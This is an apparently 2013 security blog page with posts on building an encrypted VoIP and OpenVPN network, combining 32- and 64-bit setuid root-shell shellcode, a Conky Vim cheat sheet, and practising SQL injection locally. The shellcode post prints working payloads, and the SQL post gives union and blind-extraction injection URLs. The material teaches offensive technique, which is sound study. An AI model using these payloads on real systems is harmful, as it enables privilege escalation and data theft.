Friday, August 30, 2013

Create Your Own Fishbowl, An NSA Approved Telecommunication Network

Introduction

With all the media attention about government spying, NSA data collection and intercepts, FISA courts, Snowden, etc... people are finally waking up and realizing that they need to take steps to actively protect themselves on the Internet. As society becomes more and more connected, the possibility of data theft and corruption grows even more. Be honest though. Are you really surprised?
Now with that out of the way, what technologies are out there that can help safeguard us safe from the government, crooks, and nosy neighbors? The obvious answer is encryption, and layered security. How can we apply this to telecommunications that will work for us on the go and at home? The NSA actually was kind enough to provide us with the specifications needed to build our own clone of an infrastructure that is trusted to protect up to Top Secret classified material and communications.

The NSA's Mobility Capability Package

In 2012, the NSA presented their 100 page document describing the Mobility Capability Package to RSA Conference 2012. In order to spare you the details of 116 pages of agency and technical speak, here are the basic components of MCP.

  • Secure Voice Over IP (SVoIP) must have the following requirements
    • Network must be based on an IPsec VPN
    • SIP must use TLS to encrypt signaling exchange
    • SRTP will be used to encrypt voice communications
  • Secure Browsing must have the following requirements
    • Network must be based on an IPsec VPN
    • Servers will enforce TLS connections
    • The web browser on the User Equipment is configured to prohibit the storing or caching of any data in non-volatile memory.

For the time being, we're going to disregard the requirements for web, email etc. We're solely focused on the SVoIP and VPN setup. I know that the requirements now state the use of an IPsec VPN, but the original requirements they planned on using an SSL based VPN. Due to inter-operability issues with proprietary SSL VPNs, the NSA elected to go with IPsec. For ease of setup and use, we're going to use OpenVPN for this article, which of course is an SSL VPN.

Our Requirements

  • Computer hosting OpenVPN as a server
  • Computer hosting Asterisk as a server
  • Client running OpenVPN client configuration
  • Client running VoIP software capable of using TLS + SIP + SRTP
This configuration can be used for secure communication with end to end PCs and cellular telephones alike (iOS and Android both have VoIP clients in their respective stores that support SRTP and SIP + TLS.)

Setting up OpenVPN

Whether you choose to run OpenVPN and Asterisk from your desktop, on a Raspberry Pi, in a virtual instance, on a VPS, or a dedicated solution, go ahead and prep your environment. For consistency sake, I'm going to show the commands to do the setup on a Debian based distro.

Install OpenVPN

sudo apt-get install openvpn

Set up your own Certificate Authority (CA).

We already discussed that PKI is a requirement for our little project, because we're not going to use a static configuration due to security concerns. This allows each client to have his/her own public/private key pair. The first step is to setup our own local Certificate Authority (CA). Fortunately, OpenVPN comes with a tool suite designed to keep PKI management simple. It's called "easy-rsa." Now, depending upon your distribution and packaging system, it may be installed in various directories. For Debian, it's /usr/doc/openvpn/examples/easy-rsa/2.0. Go ahead and copy that directory into your VPN user's home directory.
# cp -r /usr/doc/openvpn/examples/easy-rsa/2.0 ~/easy-rsa
# cd ~/easy-rsa
Now, using your favorite editor, open up the file named vars.
# vi vars
As you can see, you can define key length and other variables associated with the keys that will be generated while using the easy-rsa suite. Go ahead and make any changes that you feel necessary for this step. You will be asked again if you want to change any of the variables listed at the bottom during the key building process.
Now we're going to build the actual CA certificates with the following commands.
# . ./vars
# ./clean-all
# ./build-ca
Follow the prompts and change anything that you may have forgotten about in the vars file.

Build OpenVPN Client / Server & DH Keys

# ./build-key-server fishbowl
# ./build-key client1
# ./build-key client2
# ./build-dh
Again, follow the prompts for each command in order to generate the required key pairs.
It is important to note that each private key (file type ends in .key) must be protected in order to maintain network integrity. Key exchanges must be conducted across secure lines of communication. This could involve directly handing over the keys in person on an encrypted device, it could be a prearranged symmetric cryptography solution, it could be anything only limited by your imagination.

Configure OpenVPN Server File

I have an example configuration available over on Github. If you'd like to change any of the variables, please do so at this time. You can change listening address, LAN IP space, key locations and so on. Save the server.conf file to /etc/openvpn/server.conf. Now we need to pull in the keys we previously created using easy-rsa.
# cp -r ~/easy-rsa/keys /etc/openvpn/keys
# chmod 700 /etc/openvpn/keys

Start OpenVPN Server

# openvpn /etc/openvpn/server.conf

Configure the Client for OpenVPN

As previously discussed, transferring private key requires a great deal of thought and security. You should have a chosen method for key distribution (one that involves physical mediums and not transmitting the keys over plaintext protocols), and sent the clients the following files.
  • client.key
  • client.crt
  • ca.crt
  • fishbowl.conf
For my example fishbowl.conf, just clone the github repo over at Fish Bowl Configs. You will need to change the server IP address in order to match it back to your own OpenVPN server.
You now have a fully functional VPN configuration. Generate as many client keys as needed, and send them the appropriate configuration files. Now, its time to move on to Asterisk.

Setting up Asterisk

Asterisk is a full featured, open source PBX solution that includes all of the supported features that we require for this exercise. First of all, we're going to go ahead and install Asterisk onto our respective servers. Again, you can host this on the same box as the VPN or on any number of platform choices. If you're going to run it on another computer, you'll need to generate VPN keys so that it can connect through the VPN. Use the previous steps to set this up. I am again giving the commands for installing this on a Debian based system. For my configuration, I'll be placing the Asterisk box on the same server as OpenVPN. Keep this in mind, and change your IPs / Network segments accordingly.

Installing Asterisk

# apt-get install asterisk

Generate TLS keys for use with SIP

Now we will generate the required keys in order to use TLS to encrypt our SIP signalling. First we need to create the directory to store our keys in. Similar to OpenVPN, Asterisk also comes with its own scripts to help ease the task of creating cryptographic keys. The script comes in "contrib/scripts/ast_tls_cert." In case you're using the Debian packages, I've included a copy in the github repository. You'll be asked for a password to be using with the Certificate Authority for signing additional keys. Pick something secure that you'll be able to remember in the future as well.
# mkdir /etc/asterisk/keys
# ./ast_tls_cert -C 192.168.77.1 -O "Fish Bowl Communications" -d /etc/asterisk/keys
This created quite a few files under /etc/asterisk/keys. The ca.crt is important, because it will be required in order to distribute to the clients. We also still need to create additional keys for the clients in order for them to be able to communicate with Asterisk. Go ahead and create two certificates for client1 and client2 respectively.
# ./ast_tls_cert -m client -c /etc/asterisk/keys/ca.crt -k /etc/asterisk/keys/ca.key -C client1 -O "Fish Bowl Communications" -d /etc/asterisk/keys -o client1
# ./ast_tls_cert -m client -c /etc/asterisk/keys/ca.crt -k /etc/asterisk/keys/ca.key -C client2 -O "Fish Bowl Communications" -d /etc/asterisk/keys -o client2
After completing the above steps, you can see that the following files were created in /etc/asterisk/keys.
  • asterisk.crt
  • asterisk.csr
  • asterisk.key
  • asterisk.pem
  • client1.crt
  • client1.csr
  • client1.key
  • client1.pem
  • client2.crt
  • client2.csr
  • client2.key
  • client2.pem
  • ca.cfg
  • ca.crt
  • ca.key
  • tmp.cfg
In order for the clients to be able to connect, you need to add client1.pem or client2.pem (depending on the client) to their computer along with ca.crt. We'll cover client configuration later.

Configure sip.conf

Now that our certificates are in order for SIP, we'll go ahead and walk through the configuration of SIP in Asterisk. Open up /etc/asterisk/sip.conf with your favorite editor and lets get to work. Remember, all of my configs can be downloaded over on the FishBowl github
The first section you're going to come to that needs to be changed is the UDP/TCP bind area. You can comment out the sections dealing with bind address for both, because we are going to require that TLS be used as the transport medium. Once you come across the the lines regarding TLS configuration, we need to start making changes. Make sure that you substitute for your own IP address.
tlsenable=yes
tlsbindaddr=192.168.77.1
tlscertfile=/etc/asterisk/keys/asterisk.pem
tlscafile=/etc/asterisk/keys/ca.crt
tlscipher=ALL
Ensure that TLS is enabled, and change the bind address to match your VPN IP respectively. We don't want it listening to external interfaces in order to minimize the chance of data leakage.
Once it gets to the transport medium, we want to force TLS only. Normally the options are TCP or UDP.
transport=tls
There's another option to further help us lock down who is able to use the Asterisk server. Again, change the IP and Netmask to match your VPN settings. The allowguest denies contacting anyone not associated with the VPN.
contactpermit=192.168.77.0/255.255.255.0
allowguest=no
The last main option that we need to change other than adding clients in our case is to FORCE real time media streaming encryption with SRTP. The call will drop if both parties do not offer SRTP support.
encryption=yes
Setup two clients in the SIP config at the bottom of the file.
[client1]
type=peer
secret=fishbowl100
host=dynamic
context=local      ; this will be used in extensions.conf
dtmfmode=rfc2833
disallow=all
allow=g722         ; choose the codecs that you prefer here.
transport=tls
encryption=yes

[client2]
type=peer
secret=fishbowl200
host=dynamic
context=local      ; this will be used in extensions.conf
dtmfmode=rfc2833
disallow=all
allow=g722         ; choose the codecs that you prefer here.
transport=tls
encryption=yes
Now we are able to login to the Fish Bowl Communications Network. We cannot however place any legitimate calls, until we setup the extensions.

Configuring extensions.conf

We're only going to cover the most basic of extension configuration in this article, as the sole focus is not on the Asterisk system. Books have been written and dedicated to that subject already. Open up extensions.conf, and go down to the [local] section, because that is the context that is given to both client1 and client2. We're simply going to add a Dial call routine and add an extension for each of the SIP clients.
exten => 100,1,Dial(SIP/client1)
exten => 101,1,Dial(SIP/client2)
The above configuration will dial client1 if anyone dials extension 100 and client2 if anyone dials extension 200. The 1 here indicates that it is the first step in the call process. Asterisk allows you to setup extensive voice prompts and menus for callers as well as setup conference bridges, fax documents, voice mails, call parking lots etc etc. This will however meet our BARE requirements in making secure phone calls over a VPN with fully encrypted SVoIP. Keep in mind that we need to safeguard keys when transferring them, and client1.pem/client2.pem both contain private keys along with the client certificates.

Client Configuration

There are multiple clients available across various platforms that support TLS + SRTP communication methods. I'll show an example of configuring SFLPhone for Linux based systems. The Asterisk wiki contains a good demonstration of setting up Blink on Linux, Windows, or Mac. See resources at the bottom for Blink configuration. If you're using a mobile client, these same principles will apply, and setup on multiple clients should be pretty straight forward.

SFLPhone

Go ahead and install SFLPhone, if you're using Debian based systems, the following will get you started.
# apt-get install sflphone-gnome
Once the client is installed, go ahead and start it up. You can use the configuration wizard in order to get you started with configuring the account. Further manipulation will be necessary though. The first screen is a welcome message, press Continue to go on.

Register an existing SIP or IAX2 account


SIP (Session Initiation Protocol)


Fill out Client Information as Shown


No STUN Server is Needed


Click Apply and then Close. This is as far as the configuration wizard will take us. From here, we need to go to Edit Menu -> Accounts. Select client1 from the list and click on edit.


Click on the security tab. For SRTP exchange select SDES. Then select "Use TLS Transport(sips)" and click on Edit.


Once you're to the advanced security settings, this is where you select the ca.crt and client1.pem files in order to allow TLS to associate your client with the server. Server name should be the Asterisk box, and the default port is 5061 (unless you changed it in sip.conf). Your settings should generally look like the following.


That's it for client configuration. Go ahead and click apply, and select / deselect the option next to client 1 under the accounts menu. Once it associates with the server, you should see a message stating that you are "registered" with the server. Assuming that client2 is also connected, go ahead and give him a call and test out the audio (remember client2 is extension 101 as we set it earlier.) You may need to switch up codecs depending on connection speed and application.

Going beyond

The possibilities are truly endless when it comes to customizing these configurations. One thing that is nice to have is an analog phone converter like the Linksys PAP2T. This type of device allows you to use a normal telephone with the same secure setup. Ensure that your converter supports both TLS and SRTP, if you're going to use this setup. Experiment with adding phone bridges, trunking multiple Asterisk boxes together across the VPN. This article should have provided you with enough information to get you up and running. If you want more specific details, go to the respective wiki links as both Asterisk and OpenVPN have great support networks.

Resources

Thursday, August 29, 2013

Building multi-architecture shellcode with shellcodecs

Earlier when I documented alphanumeric shellcode I released a stub that allows you to determine the x86 cpu architecture that I called a 'getcpu'. Using a few tools from shellcodecs, I was able to combine it with a couple of other shellcodes and test the compatibility locally.

Building a 32-bit shellcode loader on a multilib system

The first thing I did was take the 32-bit loader found in shellcodecs and built it on my 64-bit system to get a decent test environment going.
root@box:~/Downloads/shellcode/loaders# as --32 loader-32.s -o loader-32.o
root@box:~/Downloads/shellcode/loaders# ld -m elf_i386 loader-32.o -o loader-32

Initial codes

I picked out two setuid(0); execve('/bin/bash',null,null) shellcodes: a 32-bit shellcode used in our buffer overflow wiki, and the 64-bit version that I wrote for shellcodecs, giving us the three portions of code below.
  • The getCPU stub:
    TX4HPZTAZAYVH92
    
  • The 32-bit payload:
    \xeb\x1f\x5e\x89\x76\x08
    \x31\xc0\x88\x46\x07\x89
    \x46\x0c\xb0\x0b\x89\xf3
    \x8d\x4e\x08\x8d\x56\x0c
    \xcd\x80\x31\xdb\x89\xd8
    \x40\xcd\x80\xe8\xdc\xff
    \xff\xff/bin/sh
    
  • The 64-bit payload:
    \x48\x31\xff\x6a\x69\x58
    \x0f\x05\x57\x57\x5e\x5a
    \x6a\x68\x48\xb8\x2f\x62
    \x69\x6e\x2f\x62\x61\x73
    \x50\x54\x5f\x6a\x3b\x58
    \x0f\x05
    
I got the 64-bit payload using the following command from a compiled shellcodecs installation:
generators/shellcode-generator.py --file null-free/setuid_binsh --hex

Tying them together

The 64-bit payload is 32 bytes. In hex, this is represented with 0x20 or \x20. Because the getCPU sets the zflag on 32-bit and doesn't on 64-bit, I took the GetCPU and added a conditional jump if equal 0x20 ("t\x20"):
TX4HPZTAZAYVH92t\x20
The idea here is that if its on a 32-bit system, it will jump over the 64-bit payload and execute the 32-bit system. If its on a 64-bit system, it will execute the 64-bit code without continuing to the 32-bit code because execve() is blocking. I appended the 64-bit payload, followed by the 32-bit payload to our altered getCPU with the conditional jump:
TX4HPZTAZAYVH92t\x20
\x48\x31\xff\x6a\x69
\x58\x0f\x05\x57\x57
\x5e\x5a\x6a\x68\x48
\xb8\x2f\x62\x69\x6e
\x2f\x62\x61\x73\x50
\x54\x5f\x6a\x3b\x58
\x0f\x05\xeb\x1f\x5e
\x89\x76\x08\x31\xc0
\x88\x46\x07\x89\x46
\x0c\xb0\x0b\x89\xf3
\x8d\x4e\x08\x8d\x56
\x0c\xcd\x80\x31\xdb
\x89\xd8\x40\xcd\x80
\xe8\xdc\xff\xff\xff
/bin/sh
This comes out to 94 bytes.

Testing the shellcode

  • On 32-bit:
    root@box:~/Downloads/shellcode/loaders# ./loader-32 "$(echo -en "TX4HPZTAZAYVH92t\x20\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x62\x61\x73\x50\x54\x5f\x6a\x3b\x58\x0f\x05\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")"
    # id
    uid=0(root) gid=0(root) groups=0(root)
    # exit
    
  • On 64-bit:
    root@box:~/Downloads/shellcode/loaders# ./loader-64 "$(echo -en "TX4HPZTAZAYVH92t\x20\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x62\x61\x73\x50\x54\x5f\x6a\x3b\x58\x0f\x05\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")"
    root@box:/home/hats/Downloads/shellcode/loaders# id
    uid=0(root) gid=0(root) groups=0(root)
    root@box:/home/hats/Downloads/shellcode/loaders# exit
    exit
    
This same tricks works for windows shellcodes as well, the getCPU stub does not interfere with operating system internals or cause exceptions to be raised.

Sunday, August 25, 2013

Using Conky as a VIM Cheat Sheet

To become a Vi ninja we need to make sure we have the commands at our finger tips until they become second nature. There are a variety of ways to do this, but in this article I'm going to discusss using Conky as a tool to remember Vi commands. 

First we need to open up the conky config file to edit it. You can use any text editor to do this since it's assumed you're not very good with Vi yet. In this case I'll use geany as a text editor.

k0ncepts@crunchbang:~$ geany /etc/skel/.conkyrc 

I am using Crunch Bang(#!) for this article and #! has a pre configured conky script that I'm just going to edit. In #! you can get to the .conkyrc by right clicking on your Openbox desktop environment > settings > conky > .conkyrc; or geany /etc/skel/.conkyrc. If you're not running #! and want to find out where .conkyrc is located you can use find ~/ -iname .conkyrc. 

 From here we can add our Vi/VIM cheat sheet for example:

VIM Cheat Sheet

${hr}

Inserting Text

${hr}

a:$alignr Append text after cursor

A:$alignr Append text at the end of the line

i:$alignr Insert text before the cursor

I:$alignr Insert text before the curosr 

After you're comfortable with the cheat sheet you've made save .conkyrc, and restart conky. This can be accomplished a couple of ways depending on your distro. I'm just going to show you how to via the cli.

k0ncepts@crunchbang:~$ killall -SIGUSR1 conky


You should now have a nice little cheat sheet to help you become a Vi/VIM ninja! These same concepts can be used for any information you might want at the tip of your finger tips.

Resources:

VIM tutorial

Friday, August 23, 2013

Using MySQL locally for testing SQL injection techniques and syntaxes

The largest reason for writing this is to show active penetration testers methods of testing things locally before they test them remotely, or if they want to write their own scripts. I'm not going into all of this in detail, more in-depth research is listed at the end of this document.

Creating a test environment

mysql> create database injection_tests;
Query OK, 1 row affected (0.00 sec)

mysql> use injection_tests;
Database changed
mysql> create table injectable (id int auto_increment primary key, value varchar(255));
Query OK, 0 rows affected (0.09 sec)

mysql> insert into injectable values(null, 'This is the first record');
Query OK, 1 row affected (0.04 sec)

mysql> insert into injectable values(null, 'This is the second record');
Query OK, 1 row affected (0.05 sec)

mysql> insert into injectable values(null, 'This is the third record');
Query OK, 1 row affected (0.05 sec)


mysql> select * from injectable;
+----+---------------------------+
| id | value                     |
+----+---------------------------+
|  1 | This is the first record  |
|  2 | This is the second record |
|  3 | This is the third record  |
+----+---------------------------+
3 rows in set (0.00 sec)

Information gathering: select concat(version(),0x3a,database())

Our test VM:

mysql> select concat(version(),0x3a, database());
+-----------------------------------------+
| concat(version(),0x3a, database())      |
+-----------------------------------------+
| 5.5.32-0ubuntu0.12.04.1:injection_tests |
+-----------------------------------------+
1 row in set (0.00 sec)

In band: Union Select

In band injections are non-blind injections that will return raw data to the page. In some cases, such as a subqueried or staged query being used to determine information, union select will not work because it will not assign a proper value.

For our in-band injection, we will assume the following url shows the following data on the page:

  • http://domain.tld/injectable.ext?id=1
mysql> select value from injectable where id=1;
+--------------------------+
| value                    |
+--------------------------+
| This is the first record |
+--------------------------+
1 row in set (0.00 sec)

So first we need to empty the results to make union select properly append the correct amount of data:

  • http://domain.tld/injectable.ext?id=-1
mysql> select value from injectable where id=-1;
Empty set (0.00 sec)

Now to see how a union select query works:

mysql> select value from injectable where id=-1 union select concat(version(),0x3a, database());
+-----------------------------------------+
| value                                   |
+-----------------------------------------+
| 5.5.32-0ubuntu0.12.04.1:injection_tests |
+-----------------------------------------+
1 row in set (0.00 sec)

If the input you're tampering with on vulnerable.tld/injectable.ext is vulnerable to in-band injection, you should be able to go to:

  • http://domain.tld/injectable.ext?id=-1 union select concat(version(),0x3a,database());

Where the data normally appears that says "This is the first record" in the html output, you will now find a piece of text that says "5.5.32-0ubuntu0.12.04.1:injection_tests"; the text before the colon (:) is the version, and the text after is the database name.

Out of band

There are two types of out of band (blind) vulnerabilities, and both types have two methods of exploitation: enumeration and extraction. The two types consist of partially blind injection and full blind injection. Partially blind injection results when the result of the page output is the result of multiple queries. Full blind injection requires timing attacks.

mysql> alter table injectable add column comment varchar(255);
Query OK, 3 rows affected (0.30 sec)
Records: 3  Duplicates: 0  Warnings: 0

mysql> update injectable set comment="this is the first comment" where id=1;
Query OK, 1 row affected (0.05 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> update injectable set comment="this is the second comment" where id=2;
Query OK, 1 row affected (0.05 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> update injectable set comment="this is the third comment" where id=3;
Query OK, 1 row affected (0.04 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> select * from injectable;
+----+---------------------------+----------------------------+
| id | value                     | comment                    |
+----+---------------------------+----------------------------+
|  1 | This is the first record  | this is the first comment  |
|  2 | This is the second record | this is the second comment |
|  3 | This is the third record  | this is the third comment  |
+----+---------------------------+----------------------------+
3 rows in set (0.00 sec)

Partial blind

Partially blind injection results when the result of the page output is the result of multiple queries. For this we will modify the injectable table:

mysql> alter table injectable add column comment varchar(255);
Query OK, 3 rows affected (0.30 sec)
Records: 3  Duplicates: 0  Warnings: 0

mysql> update injectable set comment="this is the first comment" where id=1;
Query OK, 1 row affected (0.05 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> update injectable set comment="this is the second comment" where id=2;
Query OK, 1 row affected (0.05 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> update injectable set comment="this is the third comment" where id=3;
Query OK, 1 row affected (0.04 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> select * from injectable;
+----+---------------------------+----------------------------+
| id | value                     | comment                    |
+----+---------------------------+----------------------------+
|  1 | This is the first record  | this is the first comment  |
|  2 | This is the second record | this is the second comment |
|  3 | This is the third record  | this is the third comment  |
+----+---------------------------+----------------------------+
3 rows in set (0.00 sec)
  • http://vulnerable.tld/injectable.ext?value=This is the first record
mysql> select id from injectable where value='This is the first record';
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)

mysql> select comment from injectable where id=1; # id=1 comes from the above query
+---------------------------+
| comment                   |
+---------------------------+
| this is the first comment |
+---------------------------+
1 row in set (0.00 sec)

Boolean enumeration

Boolean enumeration takes 1 request per bit to determine a value. While this creates to a larger number of requests and is therefore highly obvious in logs, its a bit easier than bitwise extraction in this particular instance. In this case union select isn't going to work, and here's why:

mysql> select id from injectable where value='This is the nonexistent record' union select concat(version(),0x3a,database());

mysql> select comment from injectable where id=5.5.32-0ubuntu0.12.04.1:injection_tests;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to yourMySQL server version for the right syntax to use near '.32-0ubuntu0.12.04.1:injection_tests' at line 1

You won't see a query error, you just wont see data on the page when you visit the injectable query. So back to sql, our target value will again be the output of "concat(version(),0x3a,database())", or "5.5.32-0ubuntu0.12.04.1:injection_tests". This is obviously going to be a different string in your target, but this article is about developing your technique locally. So, lets just get the first letter with a normal query:

mysql> select mid((select concat(version(),0x3a,database())),1,1);
+-----------------------------------------------------+
| mid((select concat(version(),0x3a,database())),1,1) |
+-----------------------------------------------------+
| 5                                                   |
+-----------------------------------------------------+
1 row in set (0.00 sec)

To get its ascii code:

mysql> select ascii(mid((select concat(version(),0x3a,database())),1,1));
+------------------------------------------------------------+
| ascii(mid((select concat(version(),0x3a,database())),1,1)) |
+------------------------------------------------------------+
|                                                         53 |
+------------------------------------------------------------+
1 row in set (0.00 sec)

Remember, we're usually only injecting into the first query. As our first example we'll look at:

mysql> select id from injectable where value='This is the first record' and (select ascii(mid((select concat(version(),0x3a,database())),1,1))) > '127';
Empty set (0.00 sec)

Notice it returns an empty dataset, but if we change our comparison to less than:

mysql> select id from injectable where value='This is the first record' and (select ascii(mid((select concat(version(),0x3a,database())),1,1))) < '127';
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)

That's because the ascii value, '53', is less than 127 - hence the normal result from the query is returned, and the text of the first comment is displayed on the page.

These urls would be represented as:

  • http://vulnerable.tld/injectable.ext?value=This is the first record' and (select ascii(mid((select concat(version(),0x3a,database())),1,1))) > '127
  • http://vulnerable.tld/injectable.ext?value=This is the first record' and (select ascii(mid((select concat(version(),0x3a,database())),1,1))) < '127

Bitwise extraction via comparative precomputation

In this case we'll use the same query as our last examples, "select id from injectable where value='This is the first record'". So in this case we have 3 records:

mysql> select * from injectable;
+----+---------------------------+----------------------------+
| id | value                     | comment                    |
+----+---------------------------+----------------------------+
|  1 | This is the first record  | this is the first comment  |
|  2 | This is the second record | this is the second comment |
|  3 | This is the third record  | this is the third comment  |
+----+---------------------------+----------------------------+
3 rows in set (0.00 sec)

Lets make this a little more realistic:

mysql> update injectable set id=23 where value='This is the second record';
Query OK, 1 row affected (0.10 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> update injectable set id=93 where value='This is the third record';
Query OK, 1 row affected (0.04 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> select * from injectable;
+----+---------------------------+----------------------------+
| id | value                     | comment                    | 
+----+---------------------------+----------------------------+
|  1 | This is the first record  | this is the first comment  |
| 23 | This is the second record | this is the second comment |
| 93 | This is the third record  | this is the third comment  |
+----+---------------------------+----------------------------+
3 rows in set (0.00 sec)

Now the ID's aren't in perfect order. Notice we only have three records-- that's ok. We can still make it so it requires less queries to determine the same amount of data. In stead of using bit shifts, we'll use division and modulus. Before we go there though, lets do a little join query :

mysql> select *,@v:=@v+1 as pos from injectable y join (select @v:=0) k;
+----+---------------------------+----------------------------+-------+------+
| id | value                     | comment                    | @v:=0 | pos  |
+----+---------------------------+----------------------------+-------+------+
|  1 | This is the first record  | this is the first comment  |     0 |    1 |
| 23 | This is the second record | this is the second comment |     0 |    2 |
| 93 | This is the third record  | this is the third comment  |     0 |    3 |
+----+---------------------------+----------------------------+-------+------+
3 rows in set (0.00 sec)

Notice that the position indicated is 1,2, and 3- this is the actual row number, not the id stored in the table. This is important because now we can apply it to our original query, this time going after the second record:

mysql> select id from injectable where value='This is the second record';
+----+
| id |
+----+
| 23 |
+----+
1 row in set (0.00 sec)

    
mysql> select id from injectable where value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=2);
+----+
| id |
+----+
| 23 |
+----+
1 row in set (0.00 sec)

This will still display the second comment because the id returned matches the text, however it does not contain the text at all. To fix the issue with quotes in the url,

mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=2) and '1'='1';
+----+
| id |
+----+
| 23 |
+----+
1 row in set (0.00 sec)
  • http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=2) and '1'='1

Notice this just gets you the second record displayed. If you wanted to crawl the records (necessary for precomputation), you could simply increment the WHERE statement in the query where it says "where pos=2":

mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=1) and '1'='1';
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)

mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=2) and '1'='1';
+----+
| id |
+----+
| 23 |
+----+
1 row in set (0.00 sec)

mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=3) and '1'='1';
+----+
| id |
+----+
| 93 |
+----+
1 row in set (0.01 sec)

Now for this new trick I'm about to show you to work, we have to realize that the maximum value of our rows is 3. Notice when we go to 4 there is an empty dataset, which would force the return of no comment on the page:

mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=4) and '1'='1';
Empty set (0.00 sec)

So in this particular example, we can actually use the "null" value as a fourth value. The same result applies when we place pos=0, and therefore we can use it as a 0-3 counter. Boolean enumeration bases its findings on yes or no answers (true or false) which results in it taking one request to determine the value of one bit. But in this case, we actually have the access to two bits of data, because we are using the null value as a placeholder for 0. The maximum value of a nybble (4 bits) is 15. So, it can only go into 4 using integer division 0-3 times. Not only that, but the value of 15 modulus 4 can also only be 0-3. So first lets concentrate on selecting a single nibble of data.

mysql> select ascii(mid((select concat(version(),0x3a,database())),1,1));
+------------------------------------------------------------+
| ascii(mid((select concat(version(),0x3a,database())),1,1)) |
+------------------------------------------------------------+
|                                                         53 |
+------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select hex(mid((select concat(version(),0x3a,database())),1,1));
+----------------------------------------------------------+
| hex(mid((select concat(version(),0x3a,database())),1,1)) |
+----------------------------------------------------------+
| 35                                                       |
+----------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1);
+-------------------------------------------------------------------+
| mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) |
+-------------------------------------------------------------------+
| 3                                                                 |
+-------------------------------------------------------------------+
1 row in set (0.00 sec)

Now integer division would tell us:

mysql> select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) div 4;
+-------------------------------------------------------------------------+
| mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) div 4 |
+-------------------------------------------------------------------------+
|                                                                       0 |
+-------------------------------------------------------------------------+
1 row in set (0.00 sec)

And modulus tells us:

mysql> select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) % 4;
+-----------------------------------------------------------------------+
| mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) % 4 |
+-----------------------------------------------------------------------+
|                                                                     3 |
+-----------------------------------------------------------------------+
1 row in set (0.00 sec)

So we can say the first query results in 0, so 0 * 4 = 0, then add the remainder (the modulus) 3. How do we know what we got? Well, the first injected query, looking something like:

mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) div 4)) and '1'='1';
Empty set (0.00 sec)
  • http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) div 4)) and '1'='1

The page returns nothing because of the empty set, and we know the value of our division by 4 is zero. So, 0 * 4 = 0, and we will just add the 3. We can get the three from:

mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) % 4)) and '1'='1';
+----+
| id |
+----+
| 93 |
+----+
1 row in set (0.01 sec)
  • http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) %25 4)) and '1'='1

Which returns the third comment, and therefore you know the value of pos is 3. Now we know the first nybble is 3, onto the second:

mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),2,1) div 4)) and '1'='1';
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)

mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),2,1) % 4)) and '1'='1';
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)

So for our formula, dividend * 4 + modulus, we can say 1 * 4 + 1, or 5. The url's to obtain this would be:

